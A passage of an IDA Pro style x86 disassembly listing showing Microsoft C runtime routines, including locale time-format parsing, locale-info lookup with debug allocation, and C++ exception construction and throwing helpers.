		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_4394DB
		cmp	[ebp+var_24], 2
		jz	short loc_4394E5
		jmp	short loc_4394E9
; ---------------------------------------------------------------------------

loc_4394DB:				; CODE XREF: sub_439390+141j
		mov	dword_4F4B24, 1

loc_4394E5:				; CODE XREF: sub_439390+147j
		mov	[ebp+var_8], 49h

loc_4394E9:				; CODE XREF: sub_439390+149j
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_4394EE:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398B1o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_439502
		cmp	[ebp+var_28], 2
		jz	short loc_43950C
		jmp	short loc_439510
; ---------------------------------------------------------------------------

loc_439502:				; CODE XREF: sub_439390+168j
		mov	dword_4F4B24, 1

loc_43950C:				; CODE XREF: sub_439390+16Ej
		mov	[ebp+var_8], 48h

loc_439510:				; CODE XREF: sub_439390+170j
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_439515:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398C1o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_439529
		cmp	[ebp+var_2C], 2
		jz	short loc_439533
		jmp	short loc_439537
; ---------------------------------------------------------------------------

loc_439529:				; CODE XREF: sub_439390+18Fj
		mov	dword_4F4B24, 1

loc_439533:				; CODE XREF: sub_439390+195j
		mov	[ebp+var_8], 4Dh

loc_439537:				; CODE XREF: sub_439390+197j
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_43953C:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398C5o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_439550
		cmp	[ebp+var_30], 2
		jz	short loc_43955A
		jmp	short loc_43955E
; ---------------------------------------------------------------------------

loc_439550:				; CODE XREF: sub_439390+1B6j
		mov	dword_4F4B24, 1

loc_43955A:				; CODE XREF: sub_439390+1BCj
		mov	[ebp+var_8], 53h

loc_43955E:				; CODE XREF: sub_439390+1BEj
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_439563:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398ADo
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	__strcmpi
		add	esp, 8
		test	eax, eax
		jnz	short loc_439583
		mov	edx, [ebp+Str1]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_4395A1
; ---------------------------------------------------------------------------

loc_439583:				; CODE XREF: sub_439390+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+Str1]
		push	eax		; Str1
		call	__strcmpi
		add	esp, 8
		test	eax, eax
		jnz	short loc_4395A1
		mov	ecx, [ebp+Str1]
		add	ecx, 3
		mov	[ebp+var_4], ecx

loc_4395A1:				; CODE XREF: sub_439390+1F1j
					; sub_439390+206j
		mov	[ebp+var_8], 70h
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_4395AA:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398C9o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_4395C1
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_4395CD
; ---------------------------------------------------------------------------

loc_4395C1:				; CODE XREF: sub_439390+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax

loc_4395CD:				; CODE XREF: sub_439390+22Fj
		cmp	[ebp+var_C], 1
		jnz	loc_43966B
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_43966B
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_454E04
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_439637
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_439637
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx

loc_439637:				; CODE XREF: sub_439390+26Ej
					; sub_439390+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	loc_43970D
; ---------------------------------------------------------------------------

loc_43966B:				; CODE XREF: sub_439390+241j
					; sub_439390+24Dj ...
		mov	edx, [ebp+var_10]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	loc_43970D
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_43970D
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_454E04
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_4396D9
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_4396D9
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx

loc_4396D9:				; CODE XREF: sub_439390+310j
					; sub_439390+318j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	loc_43966B
; ---------------------------------------------------------------------------

loc_43970D:				; CODE XREF: sub_439390+2D6j
					; sub_439390+2E3j ...
		mov	edx, [ebp+var_4]
		mov	[ebp+Str1], edx
		jmp	loc_439396
; ---------------------------------------------------------------------------

loc_439718:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:off_4398A9o
		mov	eax, [ebp+var_C]
		and	eax, 1
		test	eax, eax
		jz	loc_4397EC
		mov	ecx, [ebp+Str1]
		add	ecx, [ebp+var_C]
		mov	[ebp+Str1], ecx

loc_43972F:				; CODE XREF: sub_439390+455j
		mov	edx, [ebp+Str1]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	loc_4397EA
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jz	loc_4397EA
		mov	edx, [ebp+Str1]
		movsx	eax, byte ptr [edx]
		cmp	eax, 27h
		jnz	short loc_439762
		mov	ecx, [ebp+Str1]
		add	ecx, 1
		mov	[ebp+Str1], ecx
		jmp	loc_4397EA
; ---------------------------------------------------------------------------

loc_439762:				; CODE XREF: sub_439390+3C2j
		mov	edx, [ebp+Str1]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_454E04
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_4397B6
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_4397B6
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+Str1]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+Str1]
		add	edx, 1
		mov	[ebp+Str1], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx

loc_4397B6:				; CODE XREF: sub_439390+3EDj
					; sub_439390+3F5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+Str1]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+Str1]
		add	ecx, 1
		mov	[ebp+Str1], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	loc_43972F
; ---------------------------------------------------------------------------

loc_4397EA:				; CODE XREF: sub_439390+3A7j
					; sub_439390+3B3j ...
		jmp	short loc_4397F5
; ---------------------------------------------------------------------------

loc_4397EC:				; CODE XREF: sub_439390+390j
		mov	edx, [ebp+Str1]
		add	edx, [ebp+var_C]
		mov	[ebp+Str1], edx

loc_4397F5:				; CODE XREF: sub_439390:loc_4397EAj
		jmp	loc_439396
; ---------------------------------------------------------------------------

loc_4397FA:				; CODE XREF: sub_439390+80j
					; sub_439390+91j ...
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_439826
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	dl, [ebp+var_8]
		push	edx
		call	sub_438BC0
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	[ebp+Str1], eax
		jmp	short loc_4398A0
; ---------------------------------------------------------------------------

loc_439826:				; CODE XREF: sub_439390+470j
		mov	ecx, [ebp+Str1]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_454E04
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_439871
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+Str1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+Str1]
		add	eax, 1
		mov	[ebp+Str1], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_439871:				; CODE XREF: sub_439390+4B0j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+Str1]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+Str1]
		add	edx, 1
		mov	[ebp+Str1], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx

loc_4398A0:				; CODE XREF: sub_439390+494j
		jmp	loc_439396
; ---------------------------------------------------------------------------

loc_4398A5:				; CODE XREF: sub_439390+Ej
					; sub_439390+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_439390	endp

; ---------------------------------------------------------------------------
off_4398A9	dd offset loc_439718	; DATA XREF: sub_439390+91r
		dd offset loc_439563
		dd offset loc_4394EE
		dd offset loc_439428
		dd offset loc_439466
		dd offset loc_4394C7
		dd offset loc_439515
		dd offset loc_43953C
		dd offset loc_4395AA
		dd offset loc_4394A4
		dd offset loc_4397FA
byte_4398D5	db 0			; DATA XREF: sub_439390+8Br
		dw 0A0Ah
		dd 5 dup(0A0A0A0Ah), 10A0A0Ah, 0A0A0A0Ah, 0A020A0Ah, 30A0A0Ah
		dd 4 dup(0A0A0A0Ah), 10A0A0Ah, 0A040A0Ah, 0A050A0Ah, 60A0A0Ah
		dd 0A0A0A0Ah, 0A08070Ah, 90A0A0Ah
off_439928	dd offset loc_439447	; DATA XREF: sub_439390+B0r
		dd offset loc_439451
		dd offset loc_439457
		dd offset loc_43945D
off_439938	dd offset loc_439485	; DATA XREF: sub_439390+EEr
		dd offset loc_43948F
		dd offset loc_439495
		dd offset loc_43949B
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439950	proc near		; CODE XREF: __get_lc_time+41p
					; __get_lc_time+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
Source		= dword	ptr -0Ch
Count		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_439AB9
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+Source], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+Source]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+Count], eax
		cmp	[ebp+Count], 0
		jnz	loc_439A3F
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_4399C0
		jmp	loc_439A9D
; ---------------------------------------------------------------------------

loc_4399C0:				; CODE XREF: sub_439950+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_4399EA
		jmp	loc_439A9D
; ---------------------------------------------------------------------------

loc_4399EA:				; CODE XREF: sub_439950+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	__malloc_dbg
		add	esp, 10h
		mov	[ebp+Source], eax
		cmp	[ebp+Source], 0
		jnz	short loc_439A10
		jmp	loc_439A9D
; ---------------------------------------------------------------------------

loc_439A10:				; CODE XREF: sub_439950+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+Source]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+Count], eax
		cmp	[ebp+Count], 0
		jnz	short loc_439A3F
		jmp	short loc_439A9D
; ---------------------------------------------------------------------------

loc_439A3F:				; CODE XREF: sub_439950+5Aj
					; sub_439950+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+Count]
		push	ecx
		call	__malloc_dbg
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_439A69
		jmp	short loc_439A9D
; ---------------------------------------------------------------------------

loc_439A69:				; CODE XREF: sub_439950+115j
		mov	ecx, [ebp+Count]
		push	ecx		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_439A96
		push	2
		mov	edx, [ebp+Source]
		push	edx
		call	__free_dbg
		add	esp, 8

loc_439A96:				; CODE XREF: sub_439950+136j
		xor	eax, eax
		jmp	loc_439BD6
; ---------------------------------------------------------------------------

loc_439A9D:				; CODE XREF: sub_439950+6Bj
					; sub_439950+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_439AB1
		push	2
		mov	eax, [ebp+Source]
		push	eax
		call	__free_dbg
		add	esp, 8

loc_439AB1:				; CODE XREF: sub_439950+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_439BD6
; ---------------------------------------------------------------------------

loc_439AB9:				; CODE XREF: sub_439950+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_439BD3
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4F4AFC
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	___crtGetLocaleInfoW
		add	esp, 14h
		test	eax, eax
		jnz	short loc_439B00
		or	eax, 0FFFFFFFFh
		jmp	loc_439BD6
; ---------------------------------------------------------------------------

loc_439B00:				; CODE XREF: sub_439950+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_439B24
; ---------------------------------------------------------------------------

loc_439B15:				; CODE XREF: sub_439950:loc_439BCAj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax

loc_439B24:				; CODE XREF: sub_439950+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_439BCF
		cmp	SrcSizeInBytes,	1
		jle	short loc_439B6B
		push	4		; Type
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F4AFC[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax		; C
		call	__isctype
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_439B9E
; ---------------------------------------------------------------------------

loc_439B6B:				; CODE XREF: sub_439950+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F4AFC[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_454E04
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx

loc_439B9E:				; CODE XREF: sub_439950+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_439BC8
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_439BCA
; ---------------------------------------------------------------------------

loc_439BC8:				; CODE XREF: sub_439950+255j
		jmp	short loc_439BCF
; ---------------------------------------------------------------------------

loc_439BCA:				; CODE XREF: sub_439950+276j
		jmp	loc_439B15
; ---------------------------------------------------------------------------

loc_439BCF:				; CODE XREF: sub_439950+1DBj
					; sub_439950:loc_439BC8j
		xor	eax, eax
		jmp	short loc_439BD6
; ---------------------------------------------------------------------------

loc_439BD3:				; CODE XREF: sub_439950+16Dj
		or	eax, 0FFFFFFFFh

loc_439BD6:				; CODE XREF: sub_439950+148j
					; sub_439950+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_439950	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_456038
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000026D BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000CF BYTES: COLLAPSED FUNCTION __setmode_lk. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000043D BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000C3 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000AE BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000195 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoW. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000001A5 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000003F8 BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS	KEYPAD "+" TO EXPAND]
; [000002E0 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000EE BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000ED BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B3B0	proc near		; CODE XREF: sub_40DDA0+15p
					; sub_40DE34+15p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43B3B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40DD4D
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43B560
		push	offset dword_43F458
		lea	edx, [ebp+var_28]
		push	edx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43B3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B410	proc near		; CODE XREF: sub_43B4A0+10p
					; sub_43B680+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43B410
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DD23
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_43F108
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B410	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION sub_43B480. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B4A0	proc near		; DATA XREF: .rdata:0043F110o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43B410
		push	offset dword_43F4C8
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43B4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B4D0	proc near		; CODE XREF: sub_43B530+Ap
					; sub_43B600+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43B4D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_43F108
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DD70
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43B4D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B530	proc near		; DATA XREF: .rdata:off_43F108o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43B4D0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43B555
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43B555:				; CODE XREF: sub_43B530+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B560	proc near		; CODE XREF: sub_43B3B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43B590
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43F118
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B590	proc near		; CODE XREF: sub_43B560+Ep
					; sub_43B710+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43B590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_43DF74
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40DD23
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_43F108
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B600	proc near		; CODE XREF: sub_43B650+Ap
					; DATA XREF: .rdata:0043F45Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43F118
		mov	ecx, [ebp+var_4]
		call	sub_43B4D0
		mov	esp, ebp
		pop	ebp
		retn
sub_43B600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B620	proc near		; DATA XREF: .rdata:0043F120o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43B680
